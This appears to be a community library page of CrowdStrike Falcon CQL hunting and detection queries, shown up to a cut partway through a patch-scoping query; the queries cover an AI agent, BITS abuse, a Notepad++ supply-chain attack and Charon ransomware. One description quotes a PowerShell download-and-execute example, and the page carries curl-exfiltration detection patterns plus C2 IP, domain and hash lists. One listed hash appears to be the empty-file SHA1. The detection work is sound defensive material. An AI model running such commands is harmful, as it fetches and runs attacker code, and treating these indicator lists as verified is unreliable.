ByteRay CQL Hub
CrowdStrike Query Library

The open CQL library for Falcon Next‑Gen SIEM.

173 community-maintained detection & hunting queries for CrowdStrike Falcon Next-Gen SIEM and LogScale. Search, filter, copy — free to use.

173 queriesReset filters
Find OpenClaw on Endpoints
Hunting
Endpoint
Insight
Identifies the installation, configuration, and execution of the OpenClaw (Moltbot/Clawdbot) autonomous AI agent. OpenClaw poses a significant risk for shadow AI and data exfiltration as it requires extensive permissions (Shell, APIs, Local Files) and is often controlled via messaging apps like WhatsApp or Telegram.
CQL
Copy
Run in Falcon ↗
#repo="base_sensor" | #event_simpleName =~ in(values=["*ProcessRollup2", "*FileWritten"]) | case { // Look for the curl install method CommandLine=/openclaw\.ai\/install\.sh/ | Action := "openclaw installed"; CommandLine=/openclaw\.ai\/install\.ps1/ | Action := "openclaw installed"; // Look for node package install methods CommandLine =~ in(values=["* openclaw*", "* clawdbot*", "* moltbot*"]) | CommandLine =~ in(values=["*npm*", "*npx*", "*brew*"]) | CommandLine="* install *" | Action := "openclaw installed"; // Look for files being written to user home directories FilePath =~ in(values=["*/.openclaw/*", "*/.clawdbot/*", "*/.moltbot/*"]) | Action := "openclaw user configuration updated"; // Look for the clawdbot service being started on port tcp/18789 CommandLine =~ in(values=["*openclaw*", "*clawdbot*", "*moltbot*"]) | ImageFileName=/node/i | CommandLine=/gateway --port 18789/i | Action := "openclaw service started"; // Look for the clawdbot service being started CommandLine =~ in(values=["*openclaw*", "*clawdbot*", "*moltbot*"]) | FileName=/node/i | CommandLine=/gateway/i | Action := "openclaw service started"; } | groupby( aid, ComputerName, UserName, function=[ collect(Action), selectLast([CommandLine, ImageFileName, #event_simpleName]) ] )
T1059
ByteRay GmbH
find-openclaw-on-endpoints
Hunting Bitsadmin usage
Hunting
Endpoint
Insight
This query implements a multi-hypothesis threat hunting workflow to detect abuse of the Windows Background Intelligent Transfer Service (BITS). It uses a case statement to classify incoming telemetry into four distinct detection hypotheses.
CQL
Copy
Run in Falcon ↗
| case { #event_simpleName=ProcessRollup2 AND (ImageFileName=/\\bitsadmin\.exe$/i OR OriginalFilename="bitsadmin.exe") AND ( CommandLine=/\/transfer/i OR CommandLine=/\/addfile/i OR CommandLine=/\/download/i OR CommandLine=/\/SetNotifyCmdLine/i OR CommandLine=/\/resume/i OR CommandLine=/https?:\/\//i OR CommandLine=/ftp:\/\//i ) AND NOT ( ParentBaseFileName=svchost.exe OR ParentBaseFileName=msiexec.exe ) | hunt_hypothesis := "H1_BITSADMIN_DIRECT_EXEC" ; #event_simpleName=ScriptControlScanV2 OR #event_simpleName=CommandHistory AND ( ScriptContent=/Start-BitsTransfer/i OR ScriptContent=/Import-Module\s+BitsTransfer/i OR ScriptContent=/BITS\.IBackgroundCopyManager/i ) AND ( ScriptContent=/https?:\/\//i OR ScriptContent=/\-Source/i OR ScriptContent=/\-Destination/i ) | hunt_hypothesis := "H2_POWERSHELL_BITSTRANSFER" ; #event_simpleName=ProcessRollup2 AND ( CommandLine=/SetNotifyCmdLine/i OR CommandLine=/SetMinRetryDelay/i OR CommandLine=/SetNoProgressTimeout/i ) AND NOT CommandLine=/Windows.Update/i | hunt_hypothesis := "H3_BITS_PERSISTENCE" ; #event_simpleName=ProcessRollup2 AND ImageFileName=/\\bitsadmin\.exe$/i AND CommandLine=/getieproxy/i | hunt_hypothesis := "H4_BITS_PROXY_RECON" ; * | hunt_hypothesis := "NO_MATCH" ; } // Exclure les non-matchs | hunt_hypothesis != "NO_MATCH" | select([ @timestamp, hunt_hypothesis, ComputerName, UserName, UserSid, ImageFileName, CommandLine, ParentBaseFileName, ParentCommandLine, ScriptContent, SHA256HashData ]) | sort(@timestamp, order=desc)
T1197
Oussama AZRARA
hunting-bitsadmin-usage
Notepad++ supply chain attack
Hunting
Endpoint
Insight
This query detects a state-sponsored supply chain attack where the legitimate Notepad++ updater (gup.exe) is hijacked to download the Chrysalis backdoor. It identifies the attack by spotting unauthorized network connections from the updater, malicious DLL side-loading (e.g., BluetoothService.exe loading log.dll), and data exfiltration commands involving curl and temp.sh.
CQL
Copy
Run in Falcon ↗
|case{ #event_simpleName=/DNS/iF ContextBaseFileName=/^gup\.exe$/iF DomainName!=/github.com|notepad-plus-plus.org|.globalsign.com|release-assets.githubusercontent.com/iF| DetectionLogic := "GUP beacon to C2C" | Indicator := DomainName | Risk := "HIGH"; in(field="SHA256HashData", values=["02368c6b62cb392dddd35cfc6cb8c1154f7ebdceb9fb559cefc301982d6fbbf9","0dcd846cdfdc793fab39a3c9860e0f6ab68cdbdcf4b03a87e8a02df0d3e1249f","5dd766a7a378c97eb8c9fe9a4bff678e3c9a05386911f4296e094407b99c23d2","6a7a8aa91109c25d57fe2ca71c150ca09afc1bf10c98376adf959dbc91010394","a511be5164dc1122fb5a7daa3eef9467e43d8458425b15a640235796006590c9","078a9e5c6c787e5532a7e728720cbafee9021bfec4a30e3c2be110748d7c43c5","0a9b8df968df41920b6ff07785cbfebe8bda29e6b512c94a3b2a83d10014d2fd","2da00de67720f5f13b17e9d985fe70f10f153da60c9ab1086fe58f069a156924","3bdc4c0637591533f1d4198a72a33426c01f69bd2e15ceee547866f65e26b7ad","4a52570eeaf9d27722377865df312e295a7a23c3b6eb991944c2ecd707cc9906","4c2ea8193f4a5db63b897a2d3ce127cc5d89687f380b97a1d91e0c8db542e4f8","77bfea78def679aa1117f569a35e8fd1542df21f7e00e27f192c907e61d63a2e","7add554a98d3a99b319f2127688356c1283ed073a084805f14e33b4f6a6126fd","831e1ea13a1bd405f5bda2b9d8f2265f7b1db6c668dd2165ccc8a9c4c15ea7dd","8ea8b83645fba6e23d48075a0d3fc73ad2ba515b4536710cda4f1f232718f53e","9276594e73cda1c69b7d265b3f08dc8fa84bf2d6599086b9acc0bb3745146600","a511be5164dc1122fb5a7daa3eef9467e43d8458425b15a640235796006590c9","b4169a831292e245ebdffedd5820584d73b129411546e7d3eccf4663d5fc5be3","e7cd605568c38bd6e0aba31045e1633205d0598c607a855e2e1bca4cca1c6eda","f4d829739f2d6ba7e3ede83dad428a0ced1a703ec582fc73a4eee3df3704629a","fcc2765305bcd213b7558025b2039df2265c3e0b6401e4833123c461df2de51a"],ignoreCase=true)| DetectionLogic := "Malicious SHA256 Hash Execution" | Indicator := SHA256HashData | Risk := "HIGH"; in(field="SHA1HashData", values=["06a6a5a39193075734a32e0235bde0e979c27228","07d2a01e1dc94d59d5ca3bdf0c7848553ae91a51","0d0f315fd8cf408a483f8e2dd1e69422629ed9fd","13179c8f19fbf3d8473c49983a199e6cb4f318f0","21a942273c14e4b9d3faa58e4de1fd4d5014a1ed","259cd3542dea998c57f67ffdd4543ab836e3d2a3","2a476cfb85fbf012fdbe63a37642c11afa5cf020","2ab0758dda4e71aee6f4c8e4c0265a796518f07d","3090ecf034337857f786084fb14e63354e271c5d","46654a7ad6bc809b623c51938954de48e27a5618","4c9aac447bf732acc97992290aa7a187b967ee2c","573549869e84544e3ef253bdba79851dcde4963a","6444dab57d93ce987c22da66b3706d5d7fc226da","73d9d0139eaf89b7df34ceeb60e5f8c7cd2463bf","7e0790226ea461bcc9ecd4be3c315ace41e1c122","813ace987a61af909c053607635489ee984534f4","821c0cafb2aab0f063ef7e313f64313fc81d46cd","8e6e505438c21f3d281e1cc257abdbf7223b7f5a","90e677d7ff5844407b9c073e3b7e896e078e11cd","94dffa9de5b665dc51bc36e2693b8a3a0a4cc6b8","9c0eff4deeb626730ad6a05c85eb138df48372ce","9c3ba38890ed984a25abb6a094b5dbf052f22fa7","9df6ecc47b192260826c247bf8d40384aa6e6fd6","9fbf2195dee991b1e5a727fd51391dcc2d7a4b16","bd4915b3597942d88f319740a9b803cc51585c4a","bf996a709835c0c16cce1015e6d44fc95e08a38a","c68d09dd50e357fd3de17a70b7724f8949441d77","ca4b6fe0c69472cd3d63b212eb805b7f65710d33","d0662eadbe5ba92acbd3485d8187112543bcfbf5","d7ffd7b588880cf61b603346a3557e7cce648c93","da39a3ee5e6b4b0d3255bfef95601890afd80709","defb05d5a91e4920c9e22de2d81c5dc9b95a9a7c","f7910d943a013eede24ac89d6388c1b98f8b3717"],ignoreCase=true)| DetectionLogic := "Malicious SHA1 Hash Execution" | Indicator := SHA1HashData | Risk := "HIGH"; in(field="RemoteAddressIP6", values=["2001:19f0:6801:950:5400:5ff:feb2"])| DetectionLogic := "C2C IPv6" | Indicator := RemoteAddressIP6 | Risk := "MEDIUM"; in(field="RemoteIP", values=["124.222.137.114","138.0.0.0","140.0.0.0","45.32.144.255","45.76.155.202","45.77.31.210","59.110.7.32","95.179.213.0","212.30.60.8","94.190.195.237","146.70.113.105","194.114.136.211","8.216.128.215","116.251.216.119","217.69.5.44","188.166.199.140","61.4.102.97","172.233.246.7"])| DetectionLogic := "C2C IP" | Indicator := RemoteIP | Risk := "MEDIUM"; in(field="DomainName", values=["api.skycloudcenter.com","api.wiresguard.com","cdncheck.it.com","proshow.crs","proshow.phd","safe-dns.it.com","skycloudcenter.com","temp.sh","wiresguard.com"],ignoreCase=true) | DetectionLogic := "C2C Domain" | Indicator := DomainName | Risk := "MEDIUM"; ImageFileName=/\\(BluetoothService|system|loader1|loader2|s047t5g|ConsoleApplication2|3yzr31vk|uffhxpSy)\.exe$/i | DetectionLogic := "Suspicious Filename" | Indicator := ImageFileName | Risk := "LOW"; #event_simpleName=ClassifiedModuleLoad |rename(field="ImageFileName", as="DllLoadImageFileName") |rename(field="TargetImageFileName", as="ProcessName") |(ProcessName=/BluetoothService.exe/iF and DllLoadImageFileName=/log.dll/iF) OR (OriginalFilename=/BDSubWiz.exe/iF and DllLoadImageFileName=/log.dll/iF) OR (ProcessName=/svchost.exe/iF and DllLoadImageFileName=/libtcc.dll/iF) OR (ProcessName=/ConsoleApplication.*\.exe/iF and DllLoadImageFileName=/clipc.dll/iF)| DetectionLogic := "Suspicious DLL SideLoading" | Indicator := DllLoadImageFileName | Risk := "HIGH"; ImageFileName=/\\(u\.bat|conf\.c)$/i | DetectionLogic := "Suspicious Script/Code" | Indicator := ImageFileName | Risk := "MEDIUM"; CommandLine=/curl.exe/iF CommandLine=/-F.*\.txt.*temp.sh/iF | DetectionLogic := "Exfiltration" | Indicator := CommandLine | Risk := "HIGH"; CommandLine=/cmd.*\/c.*>.*.txt/iF CommandLine=/whoami|tasklist|systeminfo|netstat -ano/iF | DetectionLogic := "Recon" | Indicator := CommandLine | Risk := "MEDIUM"; #event_simpleName=/Written/iF (FilePath=/\\ProShow\\load|\Bluetooth\\BluetoothService|\\Adobe\\Scripts/iF or ImageFileName=/\\Adobe\\Scripts\\alien.ini/iF)| DetectionLogic := "2dary Payload write" | Indicator := FileName | Risk := "MEDIUM"; #event_simpleName=/ProcessAncestryInformation|Processrollup2/iF ParentBaseFileName=/^gup\.exe$/iF FileName!=/explorer.exe|^npp\..*\.Installer.*\.exe$/iF FileName=/update.*\.exe|AutoUpdater\.exe|curl\.exe|cmd\.exe|powershell\.exe|wscript\.exe|cscript\.exe|rundll32\.exe/iF or FilePath=/\\Temp\\|\\tmp\\|AppData\\Local\\/iF| DetectionLogic := "Initial Malicious Execution" | Indicator := FileName | Risk := "HIGH"; }
Aamir Muhammad
notepad-supply-chain-attack
Falcon Sensor Version Drift Monitoring (Linux)
Monitoring
Endpoint
Insight
Compares CrowdStrike Falcon sensor major/minor versions (x.xx) over time for each host. The query detects version changes, classifies them as upgrades or downgrades, and outputs the timestamp of the change along with the previous and current version values.
CQL
Copy
Run in Falcon ↗
defineTable(query={"#event_simpleName" = OsVersionInfo AgentVersion=* | groupBy([aid,ComputerName,AgentVersion],function=min("@timestamp")) }, include=[aid,ComputerName,AgentVersion,_min], name="time") | defineTable(query={"#event_simpleName" = OsVersionInfo AgentVersion=* | event_platform=Lin | groupBy([aid,ComputerName],function=[selectFromMin(@timestamp,include=AgentVersion)]) | rename(field=AgentVersion,as=Old_Version)}, include=[aid,ComputerName,Old_Version], name="old") | "#event_simpleName" = OsVersionInfo AgentVersion=* | event_platform=Lin | groupBy([aid,ComputerName],function=[selectFromMax(@timestamp,include=[AgentVersion])]) | rename(field=AgentVersion,as=Current_Version) | match(old, field=[aid]) | match(time, field=[aid,Current_Version],column=[aid,AgentVersion]) | Current_Version=/(?<Short_Current_Version>\d+\.\d+)/ | Old_Version=/(?<Short_Old_Version>\d+\.\d+)/ | if(condition=Current_Version==Old_Version, then="No change", else=if(condition= Short_Current_Version<Short_Old_Version, then="Downgrade", else=if(condition= Short_Current_Version>Short_Old_Version, then="Upgrade", else=0))) | Status := rename(field="_if") | "Changed at" := if(condition=Current_Version==Old_Version, then="n/a", else=formatTime(format="%Y/%m/%d %H:%M:%S", field=_min, as="Timestamp")) | "Old Version" := rename("Old_Version") | "Current Version" := rename("Current_Version") | table([ComputerName,aid, "Old Version","Current Version",Status,"Changed at"])
ByteRay GmbH
falcon-sensor-version-drift-monitoring-linux
Falcon Sensor Version Drift Monitoring (MacOS)
Monitoring
Endpoint
Insight
Compares CrowdStrike Falcon sensor major/minor versions (x.xx) over time for each host. The query detects version changes, classifies them as upgrades or downgrades, and outputs the timestamp of the change along with the previous and current version values.
CQL
Copy
Run in Falcon ↗
defineTable(query={"#event_simpleName" = OsVersionInfo AgentVersion=* | groupBy([aid,ComputerName,AgentVersion],function=min("@timestamp")) }, include=[aid,ComputerName,AgentVersion,_min], name="time") | defineTable(query={"#event_simpleName" = OsVersionInfo AgentVersion=* | event_platform=Mac | groupBy([aid,ComputerName],function=[selectFromMin(@timestamp,include=AgentVersion)]) | rename(field=AgentVersion,as=Old_Version)}, include=[aid,ComputerName,Old_Version], name="old") | "#event_simpleName" = OsVersionInfo AgentVersion=* | event_platform=Mac | groupBy([aid,ComputerName],function=[selectFromMax(@timestamp,include=[AgentVersion])]) | rename(field=AgentVersion,as=Current_Version) | match(old, field=[aid]) | match(time, field=[aid,Current_Version],column=[aid,AgentVersion]) | Current_Version=/(?<Short_Current_Version>\d+\.\d+)/ | Old_Version=/(?<Short_Old_Version>\d+\.\d+)/ | if(condition=Current_Version==Old_Version, then="No change", else=if(condition= Short_Current_Version<Short_Old_Version, then="Downgrade", else=if(condition= Short_Current_Version>Short_Old_Version, then="Upgrade", else=0))) | Status := rename(field="_if") | "Changed at" := if(condition=Current_Version==Old_Version, then="n/a", else=formatTime(format="%Y/%m/%d %H:%M:%S", field=_min, as="Timestamp")) | "Old Version" := rename("Old_Version") | "Current Version" := rename("Current_Version") | table([ComputerName,aid, "Old Version","Current Version",Status,"Changed at"])
ByteRay GmbH
falcon-sensor-version-drift-monitoring-macos
Falcon Sensor Version Drift Monitoring (Windows)
Monitoring
Endpoint
Insight
Compares CrowdStrike Falcon sensor major/minor versions (x.xx) over time for each host. The query detects version changes, classifies them as upgrades or downgrades, and outputs the timestamp of the change along with the previous and current version values.
CQL
Copy
Run in Falcon ↗
defineTable(query={"#event_simpleName" = OsVersionInfo AgentVersion=* | groupBy([aid,ComputerName,AgentVersion],function=min("@timestamp")) }, include=[aid,ComputerName,AgentVersion,_min], name="time") | defineTable(query={"#event_simpleName" = OsVersionInfo AgentVersion=* | event_platform=Win | groupBy([aid,ComputerName],function=[selectFromMin(@timestamp,include=AgentVersion)]) | rename(field=AgentVersion,as=Old_Version)}, include=[aid,ComputerName,Old_Version], name="old") | "#event_simpleName" = OsVersionInfo AgentVersion=* | event_platform=Win | groupBy([aid,ComputerName],function=[selectFromMax(@timestamp,include=[AgentVersion])]) | rename(field=AgentVersion,as=Current_Version) | match(old, field=[aid]) | match(time, field=[aid,Current_Version],column=[aid,AgentVersion]) | Current_Version=/(?<Short_Current_Version>\d+\.\d+)/ | Old_Version=/(?<Short_Old_Version>\d+\.\d+)/ | if(condition=Current_Version==Old_Version, then="No change", else=if(condition= Short_Current_Version<Short_Old_Version, then="Downgrade", else=if(condition= Short_Current_Version>Short_Old_Version, then="Upgrade", else=0))) | Status := rename(field="_if") | "Changed at" := if(condition=Current_Version==Old_Version, then="n/a", else=formatTime(format="%Y/%m/%d %H:%M:%S", field=_min, as="Timestamp")) | "Old Version" := rename("Old_Version") | "Current Version" := rename("Current_Version") | table([ComputerName,aid, "Old Version","Current Version",Status,"Changed at"])
ByteRay GmbH
falcon-sensor-version-drift-monitoring-windows
Detection of External Direct IP Usage in CommandLine Windows and Mac
Hunting, Detection
Endpoint
Detection of External Direct IP Usage This query detects Windows processes that utilize raw public IP addresses within HTTP/HTTPS URLs in their command-line arguments (e.g., powershell -c IEX(New-Object Net.WebClient).DownloadString('http://1.2.3.4/payload')). This behavior is highly suspicious because legitimate software typically uses domain names (DNS). Attackers often use direct public IPs to host second-stage payloads or C2 servers to bypass DNS filtering and logging mechanisms.
CQL
Copy
Run in Falcon ↗
in(#event_simpleName, values=["ProcessRollup2","SyntheticProcessRollup2"]) | CommandLine=*http* event_platform!="Lin" // Basline to exclude legitimate process //| !in(field="ParentBaseFileName", values=//["UmbrellaDiagnostic.exe","HPClickExe","Eagle" ,"HPClick.exe"]) //| !in(field="FileName", values=["Google Chrome","chrome.exe"]) //| !in(field="CommandLine", values=["Google Chrome.app"]) | regex("(?<Urlink>\\bhttps?://\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}.*\\/\\b)", field=CommandLine) | regex("(?<Ipaddress>\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})", field=Urlink) | !cidr(Ipaddress, subnet=["224.0.0.0/4", "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "127.0.0.0/8", "169.254.0.0/16", "168.63.0.0/16", "0.0.0.0/8"]) // Basline to exclude legitimate url | !in(field="Urlink", values=[ // Basline to exclude legitimate url "http://100.1.1.1" // Basline to exclude legitimate url ]) | default(field=GrandParentBaseFileName, value="Unknown") | rootURL := "https://falcon.crowdstrike.com/" | ProcessStartTime := round(ProcessStartTime) | processStart:=formattime(field=ProcessStartTime, format="%m/%d %H:%M:%S") // If Context Process ID is available utilize it, if not utilize Target Process ID | case{ ContextProcessId ="*" | ContextId:=ContextProcessId; TargetProcessId="*" | ContextId:=TargetProcessId} // Create URLs for Process and Graph Explorers | format("[ProcessExplorer]%sinvestigate/process-explorer/%s/%s?_cid=%s", field=["rootURL", "aid", "ContextId", "cid"], as="ProcessExplorer") | format("[GraphExplorer]%sgraphs/process-explorer/graph?id=pid:%s:%s", field=["rootURL", "aid", "TargetProcessId"], as="GraphExplorer") // Format Execution Details for easy analysis | format(format="%s\n\t↳ %s[ppid=%s]\n\t\t↳ %s [pid=%s|raw_pid=%s|start=%s]\n\t\t\t%,.100s[...TRIMMED]\n\t\t\t%s\n\t\t\t%s\n---", field=[GrandParentBaseFileName, ParentBaseFileName, ParentProcessId, ImageFileName, TargetProcessId, RawProcessId, processStart, CommandLine, ProcessExplorer, GraphExplorer], as="ExecutionSummary") // Group by Source Host | groupBy([ComputerName],function=([count(aid, as=executeCount), min(@timestamp, as=firstSeen), max(@timestamp, as=lastSeen), collect([UserName,ExecutionSummary,Ipaddress,ParentBaseFileName,ParentProcessId,ImageFileName,TargetProcessId], limit=1000)])) | firstSeen:=formattime(field=firstSeen, format="%Y/%m/%d %H:%M:%S") | lastSeen:=formattime(field=lastSeen, format="%Y/%m/%d %H:%M:%S")
T1105, T1059, T1071.001
sathishds
detection-of-external-direct-ip-usage-in-commandline-windows-and-mac
Charon Ransomware Detection and Correlation
Hunting
Endpoint
Insight
The query chain detects and correlates multiple indicators of the Charon ransomware attack lifecycle, including ransomware package writes, malicious DLL sideloading, process execution triggers (notably via svchost.exe), creation of ransom notes, and suspicious service creation (WWC.sys). It merges these findings across several event types to confirm successful ransomware deployment.
CQL
Copy
Run in Falcon ↗
defineTable(query={#event_simpleName=/Written|PeFileWritten/iF |case{ in(field="SHA256HashData", values=["f3c8b4986377b5a32c20fc665b0cbe0c44153369dadbcaa5e3d0e3c8545e4ba5","e0a23c0d99c45d40f6ef99c901bacf04bb12e9a3a15823b663b392abadd2444e"," 5d0675f20eeb8f824097791711135a273680f77bf5e9f0e168074e97464f21b5","739e2cac9e2a15631c770236b34ba569aad1d1de87c6243f285bf1995af2cdc2"]) |rename(field="SHA256HashData", as="RansomeSHA256")|rename(field="FileName", as="RansomewareFileWritten")|Analysis:="Ransomware Package written to disk"; //5d0675f20eeb8f824097791711135a273680f77bf5e9f0e168074e97464f21b5 is not malicious FileName = /msedge.dll|TSMSISrv.dll|PulseBeaconX96311.dll|DumpStack.log/iF |rename(field="FileName", as="RansomewareFileWritten")|rename(field="SHA256HashData", as="RansomeSHA256") |Analysis:="Ransomware Package written to disk"; //Edge.exe is not malicious OriginalFileName=PulseBeaconX96311.dll |rename(field="FileName", as="RansomewareFileWritten") |rename(field="SHA256HashData", as="RansomeSHA256")|Analysis:="Ransomware Package written to disk" } |rename(field="@timestamp", as="RansomeFileWrittenTime")| RansomeFileWrittenTime := formatTime("%e %b %Y %r", field=RansomeFileWrittenTime, locale=en_UAE, timezone="Asia/Dubai") |groupBy([FilePath,ComputerName,#event_simpleName],function=([collect([RansomeFileWrittenTime,RansomeSHA256,RansomewareFileWritten,Analysis],limit=200000),count(RansomewareFileWritten,distinct=true,as=FileCount)])) |FileCount>1 }, include=[FilePath,FileCount,ComputerName,#event_simpleName,RansomeFileWrittenTime,RansomeSHA256,RansomewareFileWritten,Analysis], name="RansomeFileWritten") |defineTable(query={ #event_simpleName=/ClassifiedModuleLoad/iF |(TargetImageFileName = /\\Edge.exe/iF or OriginalFilename = /cookie_exporter.exe/iF) and (FileName = /msedge.dll|TSMSISrv.dll|PulseBeaconX96311.dll/iF) |rename(field="TargetProcessId", as="PID") |rename(field="TargetImageFileName", as="DllSideLoadProcess") |rename(field="OriginalFilename", as="DllSideLoadOriginalName") |rename(field="FileName", as="DllLoaded") |rename(field="FilePath", as="DllLoadedPath") |rename(field="@timestamp", as="SideloadTime")| SideloadTime := formatTime("%e %b %Y %r", field=SideloadTime, locale=en_UAE, timezone="Asia/Dubai") |rename(field="CommandLine", as="DllLoadedCommandLine") | Analysis:="Malicious DLL has been sideloaded" }, include=[SideloadTime,PID,DllSideLoadProcess,DllLoadedCommandLine,DllSideLoadOriginalName,DllLoaded,DllLoadedPath,Analysis], name="DLLSideLoad") |defineTable(query={#event_simpleName=/ProcessRollup2/iF |match(file="DLLSideLoad", field=[aid,ParentProcessId],column=[aid,PID],strict=true,include=[SideloadTime,PID,DllSideLoadProcess,DllSideLoadOriginalName,DllLoaded,DllLoadedPath]) |rename(field="FileName", as="ChildProcess") |rename(field="CommandLine", as="ChildProcessCommandLine") |lower("ChildProcess") |Analysis:= if(ChidProcess==svchost.exe, then="Charon Ransomware Deployement Triggered", else="Charon Ransomware Deployement might NOT be Triggered as No SVCHOST.EXE process triggered") }, include=[ChildProcess,ChildProcessCommandLine,SideloadTime,PID,DllSideLoadProcess,DllLoadedCommandLine,DllSideLoadOriginalName,DllLoaded,DllLoadedPath,Analysis], name="RansomwareDeploy") |defineTable(query={#event_simpleName=/Written/iF |match(file="RansomwareDeploy", field=[TargetProcessId],column=[ContextProcessId],strict=true,include=[ChildProcess,ChildProcessCommandLine,SideloadTime,PID,DllSideLoadProcess,DllLoadedCommandLine,DllSideLoadOriginalName,DllLoaded,DllLoadedPath,Analysis]) |case{ FileName=/.charon$/iF |rename(field="FileName", as="RansomedFiles") |Analysis:="Charon Ransomware has been successfully deployed"; FileName="How to Restore Your Files.txt" |rename(field="FileName", as="RansomwareNote") |Analysis:="Charon Ransomware has been successfully deployed" } }, include=[RansomedFiles,RansomwareNote,Analysis,ChildProcess,ChildProcessCommandLine,SideloadTime,PID,DllSideLoadProcess,DllLoadedCommandLine,DllSideLoadOriginalName,DllLoaded,DllLoadedPath,Analysis], name="RansomeNote") |defineTable(query={#event_simpleName=CreateService and (ServiceDisplayName=/WWC/iF or ServiceImagePath=/\\System32\\Drivers\\WWC.sys/iF)}, include=[*], name="ServiceCharon") |readFile(["RansomeFileWritten","DLLSideLoad","RansomwareDeploy","RansomeNote","ServiceCharon"])
Aamir Muhammad
charon-ransomware-detection-and-correlation
CVE-2025-1146 - System Scoping using aid_master
Monitoring
Endpoint
Insight
The query below will look for Linux systems (Linux, K8, Containers) that need to be updated against CVE-2025-1146. The query is based on the lookup file aid_master_main.csv which is automatically updated every 4 hours.
CQL
Copy
Run in Falcon ↗
/* The query below will look for Linux systems (Linux, K8, Containers) that need to be updated against CVE-2025-1146. The query is based on the lookup file aid_master_main.csv which is automatically updated every 4 hours. */ // Read in AID Master file; REMINDER: this file updates every 4 hours. | readFile("aid_master_main.csv") // Narrow search to only include Linux, Container, and K8 systems | in(field="event_platform", values=[Lin, K8S]) // Parse AgentVersion into individual components for evaluation | AgentVersion=/^(?<majorVersion>\d+)\.(?<minorVersion>\d+)\.(?<buildNumber>\d+)\./ // Evaluate Linux Container Sensors | case { event_platform=Lin ProductType=Pod majorVersion=6 | Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion<=5 | Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=6 buildNumber<4705| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=10 buildNumber<4907| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=11 buildNumber<5003| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=12 buildNumber<5102| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=13 buildNumber<5202| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=14 buildNumber<5306| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=15 buildNumber<5403| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=16 buildNumber<5503| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=17 buildNumber<5603| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=18 buildNumber<5705| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=19 buildNumber<5807| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=20 buildNumber<5908| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod | Status:="OK" | event_platform:="Lin (Pod)"; *; } // Evaluate Linux Container Sensors | case { event_platform=Lin ProductType=Pod majorVersion=6 | Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion<=5 | Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=6 buildNumber<4705| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=10 buildNumber<4907| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=11 buildNumber<5003| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=12 buildNumber<5102| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=13 buildNumber<5202| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=14 buildNumber<5306| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=15 buildNumber<5403| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=16 buildNumber<5503| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=17 buildNumber<5603| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=18 buildNumber<5705| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=19 buildNumber<5807| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=20 buildNumber<5908| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod | Status:="OK" | event_platform:="Lin (Pod)"; *; } // Evaluate Linux Sensors | case { event_platform=Lin majorVersion=6 | Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion<=5 | Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=6 buildNumber<16113 | Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=7 buildNumber<16209 | Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=10 buildNumber<16321| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=11 buildNumber<16410| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=13 buildNumber<16606| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=14 buildNumber<16705| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 